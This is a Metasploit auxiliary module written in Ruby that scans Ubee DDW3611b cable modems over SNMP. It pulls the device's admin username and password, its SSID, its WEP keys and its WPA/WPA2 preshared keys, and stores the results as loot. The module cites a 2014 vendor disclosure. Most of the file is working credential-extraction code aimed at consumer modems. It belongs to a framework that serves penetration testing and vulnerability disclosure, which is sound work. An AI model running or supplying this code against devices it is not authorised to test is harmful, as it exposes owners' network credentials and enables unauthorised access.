rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SNMPClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Ubee DDW3611b Cable Modem Wifi Enumeration',
      'Description' => %q{
        This module will extract WEP keys and WPA preshared keys from
        certain Ubee cable modems.
      },
      'References'  =>
        [
          [ 'URL', 'https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
        ],
      'Author'      => ['Deral "PercentX" Heiland'],
      'License'     => MSF_LICENSE
    )

  end

  def run_host(ip)
      output_data = {}
    begin
      snmp = connect_snmp

      if snmp.get_value('1.2.840.10036.2.1.1.9.12') =~ /DDW3611/
        print_good("#{ip}")
        wifiinfo = ""

        # System user account and Password
        username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
        print_good("Username: #{username}")
        wifiinfo << "Username: #{username}" << "\n"
        password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
        print_good("Password: #{password}")
        wifiinfo << "Password: #{password}" << "\n"

        wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
        if wifistatus == 1
          ssid = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.3.12')
          print_good("SSID: #{ssid}")
          wifiinfo << "SSID: #{ssid}" << "\n"

          # Wifi Security Version
          wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12')
          if wifiversion == "0"
            print_line("Open Access Wifi is Enabled")

          # WEP enabled
          elsif wifiversion == "1"
          weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12')
            if weptype == "2"
              wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.1')
              key1 = "#{wepkey1}".unpack('H*')
              print_good("WEP KEY1: #{key1}")
              wifiinfo << "WEP KEY1: #{key1}" << "\n"
              wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.2')
              key2 = "#{wepkey2}".unpack('H*')
              print_good("WEP KEY2: #{key2}")
              wifiinfo << "WEP KEY2: #{key2}" << "\n"
              wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.3')
              key3 = "#{wepkey3}".unpack('H*')
              print_good("WEP KEY3: #{key3}")
              wifiinfo << "WEP KEY3: #{key3}" << "\n"
              wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.4')
              key4 = "#{wepkey4}".unpack('H*')
              print_good("WEP KEY4: #{key4}")
              wifiinfo << "WEP KEY4: #{key4}" << "\n"
              actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
              print_good("Active Wep key is #{actkey}")
              wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"

            elsif weptype == "1"
              wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.1')
              key1 = "#{wepkey1}".unpack('H*')
              print_good("WEP KEY1: #{key1}")
              wifiinfo << "WEP KEY1: #{key1}" << "\n"
              wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.2')
              key2 = "#{wepkey2}".unpack('H*')
              print_good("WEP KEY2: #{key2}")
              wifiinfo << "WEP KEY2: #{key2}" << "\n"
              wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.3')
              key3 = "#{wepkey3}".unpack('H*')
              print_good("WEP KEY3: #{key3}")
              wifiinfo << "WEP KEY3: #{key3}" << "\n"
              wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.4')
              key4 = "#{wepkey4}".unpack('H*')
              print_good("WEP KEY4: #{key4}")
              wifiinfo << "WEP KEY4: #{key4}" << "\n"
              actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
              print_good("Active Wep key is #{actkey}")
              wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"

            else
              print_line("FAILED")
            end

          # WPA enabled
          elsif wifiversion == "2"
            print_line("Device is configured for WPA ")
            wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
            print_good("WPA PSK: #{wpapsk}")
            wifiinfo << "WPA PSK: #{wpapsk}" << "\n"

          # WPA2 enabled
          elsif wifiversion == "3"
            print_line("Device is configured for WPA2")
            wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
            print_good("WPA2 PSK: #{wpapsk2}")
            wifiinfo << "WPA PSK: #{wpapsk2}" << "\n"

          # WPA Enterprise enabled
          elsif wifiversion == "4"
            print_line("Device is configured for WPA enterprise")

          # WPA2 Enterprise enabled
          elsif wifiversion == "5"
            print_line("Device is configured for WPA2 enterprise")

          # WEP 802.1x enabled
          elsif wifiversion == "6"
            print_line("Device is configured for WEP 802.1X")

          else
            print_line("FAILED")
          end

        else
         print_line("WIFI is not enabled")
         end
    end
     # Woot we got loot.
     loot_name     = "ubee_wifi"
     loot_type     = "text/plain"
     loot_filename = "ubee_wifi.txt"
     loot_desc     = "Ubee Wifi configuration data"
     p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc)
     print_good("WiFi Data saved: #{p}")

     rescue ::SNMP::UnsupportedVersion
     rescue ::SNMP::RequestTimeout
     rescue ::Interrupt
       raise $!
     rescue ::Exception => e
       print_error("#{ip} - Error: #{e.class} #{e}")
     disconnect_snmp
     end
  end
end